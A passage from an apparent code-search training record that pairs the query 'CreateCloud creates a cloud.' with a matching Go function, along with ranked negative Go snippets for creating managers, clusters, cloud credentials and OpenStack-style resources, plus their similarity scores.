s,\n\t\tupdateSts: &us,\n\t\tHealth: &Health{Ready: true},\n\t\tbackupCheckSums: make(map[string]int64),\n\t\tcronSch: cronSch,\n\t}, err\n}", "func NewManager(opts options.Options, cfg config.Config) (*Manager, error) {\n\tcloneOpts, err := opts.CloneOptions()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tm := &Manager{\n\t\tOpts: opts,\n\t\tConfig: cfg,\n\t\tCloneOptions: cloneOpts,\n\n\t\tstopChan: make(chan os.Signal, 1),\n\t\tleakChan: make(chan Leak),\n\t\tleakWG: &sync.WaitGroup{},\n\t\tleakCache: make(map[string]bool),\n\t\tmetaWG: &sync.WaitGroup{},\n\t\tmetadata: Metadata{\n\t\t\tRegexTime: make(map[string]int64),\n\t\t\ttimings: make(chan interface{}),\n\t\t\tdata: make(map[string]interface{}),\n\t\t\tmux: new(sync.Mutex),\n\t\t},\n\t}\n\n\tsignal.Notify(m.stopChan, os.Interrupt)\n\n\t// start receiving leaks and metadata\n\tgo m.receiveLeaks()\n\tgo m.receiveMetadata()\n\tgo m.receiveInterrupt()\n\n\treturn m, nil\n}", "func NewManager(\n\tdb *sqlx.DB,\n\tacknowledgeService client.AcknowledgeRequestServiceInterface,\n\teventHandler helper.EventMirroringServiceInterface,\n) *Manager {\n\treturn &Manager{\n\t\tdb: db,\n\t\tacknowledgeService: acknowledgeService,\n\t\teventHandler: eventHandler,\n\t}\n}", "func New() Manager {\n\treturn &manager{dao: dao.New()}\n}", "func New() *Manager {\n\treturn &Manager{\n\t\tdevices: make(map[string]Modem),\n\t\thandleAdd: func(m Modem){_ = m},\n\t\thandleRemove: func(m Modem){_ = m},\n\t\thandleUpdate: func(m Modem){_ = m},\n\t}\n}", "func NewManager(r *http.Request) *Manager {\n\tsession := db.GetDBSession(r)\n\treturn &Manager{\n\t\tsession: session,\n\t\tcollection: getCollection(session),\n\t}\n}", "func NewManager(h Handler,\n\tusername string,\n\tpassword string,\n\tbrokerIp string,\n\tbrokerPort int,\n\texchange string,\n\tqueueName string,\n\tworkers int,\n\tallocate bool,\n\tmanagerName string,\n\thandleFunction handlerFunction,\n\tlogLevel string,\n\tnet catalogue.BaseNetworkInt,\n\timg catalogue.BaseImageInt) (*Manager, error) {\n\n\tmanager := &Manager{\n\t\tConnection: nil,\n\t\tChannel: nil,\n\t\tallocate: allocate,\n\t\tworkers: workers,\n\t\terrorChan: make(chan error),\n\t\tlogger: GetLogger(managerName, logLevel),\n\t\thandlerFunction: handleFunction,\n\t\thandler: h,\n\t\timage: img,\n\t\tnetwork: net,\n\t}\n\n\terr := setupManager(username, password, brokerIp, brokerPort, manager, exchange, queueName)\n\tif err != nil {\n\t\tmanager.logger.Errorf(\"Error while setup the amqp thing: %v\", err)\n\t\treturn nil, err\n\t}\n\tmanager.queueName = queueName\n\treturn manager, nil\n}", "func NewManager(r repository) *Manager {\n\treturn &Manager{\n\t\trepo: r,\n\t}\n}", "func NewManager() *Manager {\n\tmanager := &Manager{\n\t\thealthchecks: make(chan healthcheck.CheckResult),\n\t\tdnsrefresh: make(chan bool),\n\t\tdnsdiscard: make(chan string),\n\t\tdnsoffline: make(chan string),\n\t\tdnsupdates: make(chan *config.ClusterPacketGlobalDNSUpdate),\n\t\tdnsremove: make(chan *config.ClusterPacketGlobalDNSRemove),\n\t\taddProxyBackend: make(chan *config.ProxyBackendNodeUpdate),\n\t\tremoveProxyBackend: make(chan *config.ProxyBackendNodeUpdate),\n\t\tproxyBackendStatisticsUpdate: make(chan *config.ProxyBackendStatisticsUpdate),\n\t\tclusterGlbalDNSStatisticsUpdate: make(chan *config.ClusterPacketGlbalDNSStatisticsUpdate),\n\t\tclearStatsProxyBackend: make(chan *config.ClusterPacketClearProxyStatistics),\n\t}\n\treturn manager\n}", "func NewManager(maxFwmark uint32, base uint32) *Manager {\n\tmanager := &Manager{\n\t\tfwmarksPool: make([]uint32, 0, maxFwmark),\n\t\tallocated: make(map[string]*fwmarkMdata),\n\t\tmaxFwmark: maxFwmark,\n\t\tbase: base,\n\t}\n\tfor i := base; i < base+maxFwmark; i++ {\n\t\tmanager.fwmarksPool = append(manager.fwmarksPool, i)\n\t}\n\treturn manager\n}", "func NewManager(logger Logger) *Manager {\n\treturn &Manager{\n\t\troot: logger,\n\t\tloggers: make(map[string]Node),\n\t\tloggerMaker: defaultLoggerMaker,\n\t}\n}", "func NewShareManager(c *ShareManagerConfig) (*Manager, error) {\n\tvar client *http.Client\n\tif c.MockHTTP {\n\t\t// called := make([]string, 0)\n\t\t// nextcloudServerMock := GetNextcloudServerMock(&called)\n\t\t// client, _ = TestingHTTPClient(nextcloudServerMock)\n\n\t\t// Wait for SetHTTPClient to be called later\n\t\tclient = nil\n\t} else {\n\t\tif len(c.EndPoint) == 0 {\n\t\t\treturn nil, errors.New(\"Please specify 'endpoint' in '[grpc.services.ocmshareprovider.drivers.nextcloud]' and '[grpc.services.ocmcore.drivers.nextcloud]'\")\n\t\t}\n\t\tclient = &http.Client{}\n\t}\n\n\treturn &Manager{\n\t\tendPoint: c.EndPoint, // e.g. \"http://nc/apps/sciencemesh/\"\n\t\tsharedSecret: c.SharedSecret,\n\t\tclient: client,\n\t\twebDAVHost: c.WebDAVHost,\n\t}, nil\n}", "func NewManager(object dbus.BusObject) *Manager {\n\treturn &Manager{object}\n}", "func NewShareManager(c *ShareManagerConfig) (*Manager, error) {\n\tvar client *http.Client\n\tif c.MockHTTP {\n\t\t// called := make([]string, 0)\n\t\t// nextcloudServerMock := GetNextcloudServerMock(&called)\n\t\t// client, _ = TestingHTTPClient(nextcloudServerMock)\n\n\t\t// Wait for SetHTTPClient to be called later\n\t\tclient = nil\n\t} else {\n\t\tif len(c.EndPoint) == 0 {\n\t\t\treturn nil, errors.New(\"Please specify 'endpoint' in '[grpc.services.ocmshareprovider.drivers.nextcloud]' and '[grpc.services.ocmcore.drivers.nextcloud]'\")\n\t\t}\n\t\tclient = &http.Client{}\n\t}\n\n\treturn &Manager{\n\t\tendPoint: c.EndPoint, // e.g. \"http://nc/apps/sciencemesh/\"\n\t\tsharedSecret: c.SharedSecret,\n\t\tclient: client,\n\t}, nil\n}", "func NewManager(selection string, workers []*Worker) (*Manager, error) {\n\tif len(workers) == 0 {\n\t\treturn nil, errors.New(\"Cannot initialize Manager with no workers\")\n\t}\n\n\tm := &Manager{\n\t\tWorkers: workers,\n\t\tSelection: selection,\n\t\tcurr: workers[0],\n\t}\n\n\treturn m, nil\n}" ]
[ "0.67431074", "0.6529142", "0.6522321", "0.651553", "0.6362552", "0.6357567", "0.6357567", "0.6337562", "0.6315729", "0.6300832", "0.6300793", "0.6259243", "0.62556833", "0.62087953", "0.6195508", "0.6164765", "0.6161856", "0.6116793", "0.6110162", "0.6089127", "0.60886985", "0.6083908", "0.60672927", "0.6042083", "0.60167027", "0.60151243", "0.6002986", "0.5994157", "0.597058", "0.5961899", "0.59458596", "0.5937424", "0.5933196", "0.59207624", "0.59191114", "0.5918479", "0.5898908", "0.5874818", "0.5872882", "0.5866573", "0.58660316", "0.58546084", "0.58399826", "0.5836476", "0.58330286", "0.5829825", "0.5803806", "0.5789285", "0.576921", "0.5765018", "0.57564104", "0.57515097", "0.574667", "0.5736695", "0.5730029", "0.57168496", "0.5716224", "0.5712627", "0.57122976", "0.5708224", "0.57061344", "0.5702792", "0.56989175", "0.5694399", "0.5691067", "0.5687957", "0.56873375", "0.56855685", "0.56757534", "0.56698036", "0.5668143", "0.5644036", "0.5629218", "0.56246215", "0.5622624", "0.5621397", "0.56204367", "0.5619547", "0.5617505", "0.5611376", "0.5610677", "0.5607721", "0.56036156", "0.5602256", "0.55985093", "0.55946964", "0.55702037", "0.55682147", "0.55603015", "0.55481136", "0.554505", "0.554214", "0.5540201", "0.5533738", "0.55322266", "0.5531124", "0.55296975", "0.55223054", "0.5520886", "0.5516492" ]
0.7256937
0
CreateCloud creates a cloud.
func (m *cloudManager) CreateCloud(c *api.Cloud) (*api.Cloud, error) { cloudName := c.Name if _, err := m.ds.FindCloudByName(cloudName); err == nil { return nil, httperror.ErrorAlreadyExist.Format(cloudName) } // check auth info cp, err := cloud.NewCloudProvider(c) if err != nil { return nil, httperror.ErrorValidationFailed.Format("cloud body", err) } err = cp.Ping() if err != nil { return nil, httperror.ErrorValidationFailed.Format("cloud body", err) } if err := m.ds.InsertCloud(c); err != nil { return nil, err } return c, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func Create(ip string, user string, name string) (*Cloud, error) {\n\tkey, err := sshkey()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tport := sshport()\n\tsshClient := ssh.New(ip).WithUser(user).WithKey(key).WithPort(port)\n\treturn &Cloud{\n\t\tIP: ip,\n\t\tUser: user,\n\t\tName: name,\n\t\tType: types.CloudTypeDocker,\n\n\t\tsshClient: sshClient,\n\t}, nil\n}", "func (c *Client) CloudCreateInstance(projectID, name, pubkeyID, flavorID, imageID, region string) (instance *types.CloudInstance, err error) {\n\tinstanceReq := types.CloudInstance{\n\t\tName: name,\n\t\tSSHKeyID: pubkeyID,\n\t\tFlavorID: flavorID,\n\t\tImageID: imageID,\n\t\tRegion: region,\n\t}\n\terr = c.Post(queryEscape(\"/cloud/project/%s/instance\", projectID), instanceReq, &instance)\n\treturn instance, err\n}", "func New(ip string, user string, name string) *Cloud {\n\treturn &Cloud{\n\t\tIP: ip,\n\t\tUser: user,\n\t\tName: name,\n\t\tType: types.CloudTypeDocker,\n\t}\n}", "func (client *Client) CreateCloudAccount(request *CreateCloudAccountRequest) (_result *CreateCloudAccountResponse, _err error) {\n\truntime := &util.RuntimeOptions{}\n\t_result = &CreateCloudAccountResponse{}\n\t_body, _err := client.CreateCloudAccountWithOptions(request, runtime)\n\tif _err != nil {\n\t\treturn _result, _err\n\t}\n\t_result = _body\n\treturn _result, _err\n}", "func (client StorageGatewayClient) CreateCloudSync(ctx context.Context, request CreateCloudSyncRequest) (response CreateCloudSyncResponse, err error) {\n\tvar ociResponse common.OCIResponse\n\tpolicy := common.NoRetryPolicy()\n\tif client.RetryPolicy() != nil {\n\t\tpolicy = *client.RetryPolicy()\n\t}\n\tif request.RetryPolicy() != nil {\n\t\tpolicy = *request.RetryPolicy()\n\t}\n\n\tif !(request.OpcRetryToken != nil && *request.OpcRetryToken != \"\") {\n\t\trequest.OpcRetryToken = common.String(common.RetryToken())\n\t}\n\n\tociResponse, err = common.Retry(ctx, request, client.createCloudSync, policy)\n\tif err != nil {\n\t\tif ociResponse != nil {\n\t\t\tif httpResponse := ociResponse.HTTPResponse(); httpResponse != nil {\n\t\t\t\topcRequestId := httpResponse.Header.Get(\"opc-request-id\")\n\t\t\t\tresponse = CreateCloudSyncResponse{RawResponse: httpResponse, OpcRequestId: &opcRequestId}\n\t\t\t} else {\n\t\t\t\tresponse = CreateCloudSyncResponse{}\n\t\t\t}\n\t\t}\n\t\treturn\n\t}\n\tif convertedResponse, ok := ociResponse.(CreateCloudSyncResponse); ok {\n\t\tresponse = convertedResponse\n\t} else {\n\t\terr = fmt.Errorf(\"failed to convert OCIResponse into CreateCloudSyncResponse\")\n\t}\n\treturn\n}", "func PostClouds(resp http.ResponseWriter, req *http.Request, params routing.Params) {\n\n\tcloud := &clouds.Cloud{}\n\tdecoder := json.NewDecoder(req.Body)\n\n\tif err := decoder.Decode(cloud); err != nil {\n\t\thttp.Error(resp, \"bad Request: \"+err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif cloud.ID == \"\" {\n\t\tcloud.ID = bson.NewObjectId().Hex()\n\t}\n\n\tif _, err := url.Parse(cloud.REST); err != nil {\n\t\thttp.Error(resp, \"bad request: mal formatted REST address\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif cloud.MQTT != \"\" {\n\t\tif _, err := url.Parse(cloud.MQTT); err != nil {\n\t\t\thttp.Error(resp, \"bad request: mal formatted MQTT address\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif err := clouds.AddCloud(cloud); err != nil {\n\t\thttp.Error(resp, \"bad request: \"+err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tlog.Printf(\"[CLOUD] Created %q.\", cloud.ID)\n\n\twriteCloudFile()\n\tresp.Write([]byte(cloud.ID))\n}", "func Create(client *gophercloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToRegionCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\tresp, err := client.Post(createURL(client), &b, &r.Body, &gophercloud.RequestOpts{\n\t\tOkCodes: []int{201},\n\t})\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func Create(client *gophercloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToZoneCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\tresp, err := client.Post(baseURL(client), &b, &r.Body, &gophercloud.RequestOpts{\n\t\tOkCodes: []int{201, 202},\n\t})\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func Create(client *gophercloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToTrustCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\tresp, err := client.Post(createURL(client), &b, &r.Body, &gophercloud.RequestOpts{\n\t\tOkCodes: []int{201},\n\t})\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func NewCloud(cfg CloudConfig, metricsRegisterer prometheus.Registerer) (Cloud, error) {\n\tmetadataSess := session.Must(session.NewSession(aws.NewConfig()))\n\tmetadata := services.NewEC2Metadata(metadataSess)\n\tif len(cfg.Region) == 0 {\n\t\tregion, err := metadata.Region()\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"failed to introspect region from EC2Metadata, specify --aws-region instead if EC2Metadata is unavailable\")\n\t\t}\n\t\tcfg.Region = region\n\t}\n\n\tif len(cfg.VpcID) == 0 {\n\t\tvpcId, err := metadata.VpcID()\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"failed to introspect vpcID from EC2Metadata, specify --aws-vpc-id instead if EC2Metadata is unavailable\")\n\t\t}\n\t\tcfg.VpcID = vpcId\n\t}\n\n\tawsCFG := aws.NewConfig().WithRegion(cfg.Region).WithSTSRegionalEndpoint(endpoints.RegionalSTSEndpoint).WithMaxRetries(cfg.MaxRetries)\n\tsess := session.Must(session.NewSession(awsCFG))\n\tinjectUserAgent(&sess.Handlers)\n\n\tif cfg.ThrottleConfig != nil {\n\t\tthrottler := throttle.NewThrottler(cfg.ThrottleConfig)\n\t\tthrottler.InjectHandlers(&sess.Handlers)\n\t}\n\tif metricsRegisterer != nil {\n\t\tmetricsCollector, err := metrics.NewCollector(metricsRegisterer)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"failed to initialize sdk metrics collector\")\n\t\t}\n\t\tmetricsCollector.InjectHandlers(&sess.Handlers)\n\t}\n\n\treturn &defaultCloud{\n\t\tcfg: cfg,\n\t\tec2: services.NewEC2(sess),\n\t\telbv2: services.NewELBV2(sess),\n\t\tacm: services.NewACM(sess),\n\t\twafv2: services.NewWAFv2(sess),\n\t\twafRegional: services.NewWAFRegional(sess, cfg.Region),\n\t\tshield: services.NewShield(sess),\n\t\trgt: services.NewRGT(sess),\n\t}, nil\n}", "func Create(client *gophercloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToContainerCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\tresp, err := client.Post(createURL(client), &b, &r.Body, &gophercloud.RequestOpts{\n\t\tOkCodes: []int{201},\n\t})\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func CreateCloudEvent(cloudEventVersion string) *event.Event {\n\tcloudEvent := event.New(cloudEventVersion)\n\tcloudEvent.SetID(EventId)\n\tcloudEvent.SetType(EventType)\n\tcloudEvent.SetSource(EventSource)\n\tcloudEvent.SetDataContentType(EventDataContentType)\n\tcloudEvent.SetSubject(EventSubject)\n\tcloudEvent.SetDataSchema(EventDataSchema)\n\tcloudEvent.SetExtension(constants.ExtensionKeyPartitionKey, PartitionKey)\n\t_ = cloudEvent.SetData(EventDataContentType, EventDataJson)\n\treturn &cloudEvent\n}", "func Create(c *eclcloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToServerCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\t_, r.Err = c.Post(createURL(c), b, &r.Body, &eclcloud.RequestOpts{\n\t\tOkCodes: []int{200},\n\t})\n\treturn\n}", "func Create(client *gophercloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToClusterCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\tvar result *http.Response\n\tresult, r.Err = client.Post(createURL(client), b, &r.Body, &gophercloud.RequestOpts{\n\t\tOkCodes: []int{201},\n\t})\n\n\tif r.Err == nil {\n\t\tr.Header = result.Header\n\t}\n\n\treturn\n}", "func Create(req clusterapi.Request) (clusterapi.ClusterAPI, error) {\n\t// Validates parameters\n\tif req.Name == \"\" {\n\t\treturn nil, fmt.Errorf(\"Invalid parameter req.Name: can't be empty\")\n\t}\n\tif req.CIDR == \"\" {\n\t\treturn nil, fmt.Errorf(\"Invalid parameter req.CIDR: can't be empty\")\n\t}\n\n\t// We need at first the Metadata container to be present\n\terr := utils.CreateMetadataContainer()\n\tif err != nil {\n\t\tfmt.Printf(\"failed to create Object Container: %s\\n\", err.Error())\n\t}\n\n\tvar network *pb.Network\n\tvar instance clusterapi.ClusterAPI\n\n\tlog.Printf(\"Creating infrastructure for cluster '%s'\", req.Name)\n\n\ttenant, err := utils.GetCurrentTenant()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Creates network\n\tlog.Printf(\"Creating Network 'net-%s'\", req.Name)\n\treq.Name = strings.ToLower(req.Name)\n\tnetwork, err = utils.CreateNetwork(\"net-\"+req.Name, req.CIDR)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"Failed to create Network '%s': %s\", req.Name, err.Error())\n\t\treturn nil, err\n\t}\n\n\tswitch req.Flavor {\n\tcase Flavor.DCOS:\n\t\treq.NetworkID = network.ID\n\t\treq.Tenant = tenant\n\t\tinstance, err = dcos.NewCluster(req)\n\t\tif err != nil {\n\t\t\t//utils.DeleteNetwork(network.ID)\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tlog.Printf(\"Cluster '%s' created and initialized successfully\", req.Name)\n\treturn instance, nil\n}", "func NewCloud(configReader io.Reader) (cloudprovider.Interface, error) {\n\taz, err := NewCloudWithoutFeatureGates(configReader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\taz.ipv6DualStackEnabled = true\n\n\treturn az, nil\n}", "func (s *ProjectService) Create(\n\tproject *models.Project,\n\torganizationName string,\n) *ProjectService {\n\tif s.err != nil {\n\t\treturn s\n\t}\n\n\tvar organizationID uint\n\ts.pickOrganization(organizationName, &organizationID)\n\tif s.err != nil {\n\t\treturn s\n\t}\n\n\t// Remote Project Creation\n\t*project, s.err = s.cli.Project(\"\").Init(project.Name, organizationID)\n\n\t// Handle invalid token\n\tif s.err != nil {\n\t\treturn s\n\t}\n\n\t// Update the ksfile\n\t// So that it keeps secrets and files\n\t// if the file exited without a project-id\n\ts.ksfile.ProjectId = project.UUID\n\ts.ksfile.ProjectName = project.Name\n\n\tif s.err = s.ksfile.Save().Err(); s.err != nil {\n\t\treturn s\n\t}\n\n\treturn s\n}", "func (f *IBMPICloudConnectionClient) Create(pclouddef *p_cloud_cloud_connections.PcloudCloudconnectionsPostParams, powerinstanceid string) (*models.CloudConnection, error) {\n\n\tparams := p_cloud_cloud_connections.NewPcloudCloudconnectionsPostParamsWithTimeout(postTimeOut).WithCloudInstanceID(powerinstanceid).WithBody(pclouddef.Body)\n\tpostok, postcreated, err, _ := f.session.Power.PCloudCloudConnections.PcloudCloudconnectionsPost(params, ibmpisession.NewAuth(f.session, powerinstanceid))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to create cloud connection %s\", err)\n\t}\n\tif postok != nil {\n\t\treturn postok.Payload, nil\n\t}\n\tif postcreated != nil {\n\t\treturn postcreated.Payload, nil\n\t}\n\treturn nil, nil\n}", "func (ci CloudIntegrations) Create(cloudIntegration *CloudIntegration) error {\n\treturn doRest(\n\t\t\"POST\",\n\t\tbaseCloudIntegrationPath,\n\t\tci.client,\n\t\tdoPayload(cloudIntegration),\n\t\tdoResponse(cloudIntegration))\n}", "func CreateCloudCredential(provider, name string, uid, orgID string) {\n\tStep(fmt.Sprintf(\"Create cloud credential [%s] in org [%s]\", name, orgID), func() {\n\t\tlogrus.Printf(\"Create credential name %s for org %s provider %s\", name, orgID, provider)\n\t\tbackupDriver := Inst().Backup\n\t\tswitch provider {\n\t\tcase drivers.ProviderAws:\n\t\t\tlogrus.Infof(\"Create creds for aws\")\n\t\t\tid := os.Getenv(\"AWS_ACCESS_KEY_ID\")\n\t\t\texpect(id).NotTo(equal(\"\"),\n\t\t\t\t\"AWS_ACCESS_KEY_ID Environment variable should not be empty\")\n\n\t\t\tsecret := os.Getenv(\"AWS_SECRET_ACCESS_KEY\")\n\t\t\texpect(secret).NotTo(equal(\"\"),\n\t\t\t\t\"AWS_SECRET_ACCESS_KEY Environment variable should not be empty\")\n\n\t\t\tcredCreateRequest := &api.CloudCredentialCreateRequest{\n\t\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\t\tName: name,\n\t\t\t\t\tUid: uid,\n\t\t\t\t\tOrgId: orgID,\n\t\t\t\t},\n\t\t\t\tCloudCredential: &api.CloudCredentialInfo{\n\t\t\t\t\tType: api.CloudCredentialInfo_AWS,\n\t\t\t\t\tConfig: &api.CloudCredentialInfo_AwsConfig{\n\t\t\t\t\t\tAwsConfig: &api.AWSConfig{\n\t\t\t\t\t\t\tAccessKey: id,\n\t\t\t\t\t\t\tSecretKey: secret,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\t//ctx, err := backup.GetPxCentralAdminCtx()\n\t\t\tctx, err := backup.GetAdminCtxFromSecret()\n\t\t\texpect(err).NotTo(haveOccurred(),\n\t\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\t\terr))\n\t\t\t_, err = backupDriver.CreateCloudCredential(ctx, credCreateRequest)\n\t\t\tif err != nil && strings.Contains(err.Error(), \"already exists\") {\n\t\t\t\treturn\n\t\t\t}\n\t\t\texpect(err).NotTo(haveOccurred(),\n\t\t\t\tfmt.Sprintf(\"Failed to create cloud credential [%s] in org [%s]\", name, orgID))\n\t\t// TODO: validate CreateCloudCredentialResponse also\n\t\tcase drivers.ProviderAzure:\n\t\t\tlogrus.Infof(\"Create creds for azure\")\n\t\t\ttenantID, clientID, clientSecret, subscriptionID, accountName, accountKey := GetAzureCredsFromEnv()\n\t\t\tcredCreateRequest := &api.CloudCredentialCreateRequest{\n\t\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\t\tName: name,\n\t\t\t\t\tUid: uid,\n\t\t\t\t\tOrgId: orgID,\n\t\t\t\t},\n\t\t\t\tCloudCredential: &api.CloudCredentialInfo{\n\t\t\t\t\tType: api.CloudCredentialInfo_Azure,\n\t\t\t\t\tConfig: &api.CloudCredentialInfo_AzureConfig{\n\t\t\t\t\t\tAzureConfig: &api.AzureConfig{\n\t\t\t\t\t\t\tTenantId: tenantID,\n\t\t\t\t\t\t\tClientId: clientID,\n\t\t\t\t\t\t\tClientSecret: clientSecret,\n\t\t\t\t\t\t\tAccountName: accountName,\n\t\t\t\t\t\t\tAccountKey: accountKey,\n\t\t\t\t\t\t\tSubscriptionId: subscriptionID,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\t//ctx, err := backup.GetPxCentralAdminCtx()\n\t\t\tctx, err := backup.GetAdminCtxFromSecret()\n\t\t\texpect(err).NotTo(haveOccurred(),\n\t\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\t\terr))\n\t\t\t_, err = backupDriver.CreateCloudCredential(ctx, credCreateRequest)\n\t\t\tif err != nil && strings.Contains(err.Error(), \"already exists\") {\n\t\t\t\treturn\n\t\t\t}\n\t\t\texpect(err).NotTo(haveOccurred(),\n\t\t\t\tfmt.Sprintf(\"Failed to create cloud credential [%s] in org [%s]\", name, orgID))\n\t\t\t// TODO: validate CreateCloudCredentialResponse also\n\t\t}\n\t})\n}", "func CreateCluster(name string, cloudCred string, kubeconfigPath string, orgID string) {\n\n\tStep(fmt.Sprintf(\"Create cluster [%s] in org [%s]\", name, orgID), func() {\n\t\tbackupDriver := Inst().Backup\n\t\tkubeconfigRaw, err := ioutil.ReadFile(kubeconfigPath)\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to read kubeconfig file from location [%s]. Error:[%v]\",\n\t\t\t\tkubeconfigPath, err))\n\n\t\tclusterCreateReq := &api.ClusterCreateRequest{\n\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\tName: name,\n\t\t\t\tOrgId: orgID,\n\t\t\t},\n\t\t\tKubeconfig: base64.StdEncoding.EncodeToString(kubeconfigRaw),\n\t\t\tCloudCredential: cloudCred,\n\t\t}\n\t\t//ctx, err := backup.GetPxCentralAdminCtx()\n\t\tctx, err := backup.GetAdminCtxFromSecret()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\t_, err = backupDriver.CreateCluster(ctx, clusterCreateReq)\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to create cluster [%s] in org [%s]. Error : [%v]\",\n\t\t\t\tname, orgID, err))\n\t})\n}", "func newK8SCloud(opts Options) (CloudProvider, error) {\n\n\tif opts.Name == \"\" {\n\t\treturn nil, errors.New(\"K8SCloud: Invalid cloud name\")\n\t}\n\tif opts.Host == \"\" {\n\t\treturn nil, errors.New(\"K8SCloud: Invalid cloud host\")\n\t}\n\tif opts.K8SNamespace == \"\" {\n\t\topts.K8SNamespace = apiv1.NamespaceDefault\n\t}\n\n\tcloud := &K8SCloud{\n\t\tname: opts.Name,\n\t\thost: opts.Host,\n\t\tbearerToken: opts.K8SBearerToken,\n\t\tnamespace: opts.K8SNamespace,\n\t\tinsecure: opts.Insecure,\n\t}\n\tconfig := &rest.Config{\n\t\tHost: opts.Host,\n\t\tBearerToken: opts.K8SBearerToken,\n\t\tTLSClientConfig: rest.TLSClientConfig{\n\t\t\tInsecure: opts.Insecure,\n\t\t},\n\t}\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcloud.client = clientset\n\treturn cloud, nil\n}", "func Create(c *golangsdk.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToDomainCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\treqOpt := &golangsdk.RequestOpts{OkCodes: []int{200}}\n\t_, r.Err = c.Post(rootURL(c), b, &r.Body, reqOpt)\n\treturn\n}", "func (s *Reconciler) Create(ctx context.Context) error {\n\tif err := s.CreateMachine(ctx); err != nil {\n\t\ts.scope.MachineStatus.Conditions = setMachineProviderCondition(s.scope.MachineStatus.Conditions, machinev1.AzureMachineProviderCondition{\n\t\t\tType: machinev1.MachineCreated,\n\t\t\tStatus: apicorev1.ConditionTrue,\n\t\t\tReason: machineCreationFailedReason,\n\t\t\tMessage: err.Error(),\n\t\t})\n\t\treturn err\n\t}\n\treturn nil\n}", "func (p *Provider) Create(name string, options ...CreateOption) error {\n\t// apply options\n\topts := &internalcreate.ClusterOptions{}\n\tfor _, o := range options {\n\t\tif err := o.apply(opts); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn internalcreate.Cluster(p.logger, p.ic(name), opts)\n}", "func (client StorageGatewayClient) createCloudSync(ctx context.Context, request common.OCIRequest) (common.OCIResponse, error) {\n\thttpRequest, err := request.HTTPRequest(http.MethodPost, \"/storageGateways/{storageGatewayId}/cloudSyncs\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response CreateCloudSyncResponse\n\tvar httpResponse *http.Response\n\thttpResponse, err = client.Call(ctx, &httpRequest)\n\tdefer common.CloseBodyIfValid(httpResponse)\n\tresponse.RawResponse = httpResponse\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\terr = common.UnmarshalResponse(httpResponse, &response)\n\treturn response, err\n}", "func Create(client *gophercloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\r\n\tb, err := opts.ToTenantCreateMap()\r\n\tif err != nil {\r\n\t\tr.Err = err\r\n\t\treturn\r\n\t}\r\n\t_, r.Err = client.Post(createURL(client), b, &r.Body, &gophercloud.RequestOpts{\r\n\t\tOkCodes: []int{200, 201},\r\n\t})\r\n\treturn\r\n}", "func Create(client *gophercloud.ServiceClient, opts CreateOptsBuilder) (r CreateResult) {\n\tb, err := opts.ToOrderCreateMap()\n\tif err != nil {\n\t\tr.Err = err\n\t\treturn\n\t}\n\tresp, err := client.Post(createURL(client), &b, &r.Body, &gophercloud.RequestOpts{\n\t\tOkCodes: []int{202},\n\t})\n\t_, r.Header, r.Err = 